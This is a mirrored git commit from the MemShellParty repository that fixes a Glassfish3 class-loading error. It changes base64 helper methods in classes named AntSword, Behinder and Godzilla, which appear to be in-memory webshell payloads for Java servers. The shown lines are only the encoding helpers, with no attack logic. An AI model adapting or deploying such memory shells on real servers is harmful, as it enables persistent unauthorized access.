mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
fix: Glassfish3 classNotFound
This commit is contained in:
+3
-2
@@ -40,11 +40,12 @@ public class AntSword extends ClassLoader {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] base64Decode(String bs) throws Exception {
|
public static byte[] base64Decode(String bs) throws Exception {
|
||||||
|
ClassLoader loader = Thread.currentThread().getContextClassLoader();
|
||||||
try {
|
try {
|
||||||
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
Object decoder = Class.forName("java.util.Base64", false, loader).getMethod("getDecoder").invoke(null);
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
} catch (Exception var6) {
|
} catch (Exception var6) {
|
||||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
Object decoder = Class.forName("sun.misc.BASE64Decoder", false, loader).newInstance();
|
||||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-2
@@ -90,11 +90,12 @@ public class Behinder extends ClassLoader {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] base64Decode(String bs) throws Exception {
|
public static byte[] base64Decode(String bs) throws Exception {
|
||||||
|
ClassLoader loader = Thread.currentThread().getContextClassLoader();
|
||||||
try {
|
try {
|
||||||
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
Object decoder = Class.forName("java.util.Base64", false, loader).getMethod("getDecoder").invoke(null);
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
} catch (Exception var6) {
|
} catch (Exception var6) {
|
||||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
Object decoder = Class.forName("sun.misc.BASE64Decoder", false, loader).newInstance();
|
||||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+6
-4
@@ -61,22 +61,24 @@ public class Godzilla extends ClassLoader {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static String base64Encode(byte[] bs) throws Exception {
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
ClassLoader loader = Thread.currentThread().getContextClassLoader();
|
||||||
try {
|
try {
|
||||||
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
|
Object encoder = Class.forName("java.util.Base64", false ,loader).getMethod("getEncoder").invoke(null);
|
||||||
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||||
} catch (Exception var6) {
|
} catch (Exception var6) {
|
||||||
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
|
Object encoder = Class.forName("sun.misc.BASE64Encoder", false, loader).newInstance();
|
||||||
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] base64Decode(String bs) throws Exception {
|
public static byte[] base64Decode(String bs) throws Exception {
|
||||||
|
ClassLoader loader = Thread.currentThread().getContextClassLoader();
|
||||||
try {
|
try {
|
||||||
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
Object decoder = Class.forName("java.util.Base64", false, loader).getMethod("getDecoder").invoke(null);
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
} catch (Exception var6) {
|
} catch (Exception var6) {
|
||||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
Object decoder = Class.forName("sun.misc.BASE64Decoder", false, loader).newInstance();
|
||||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user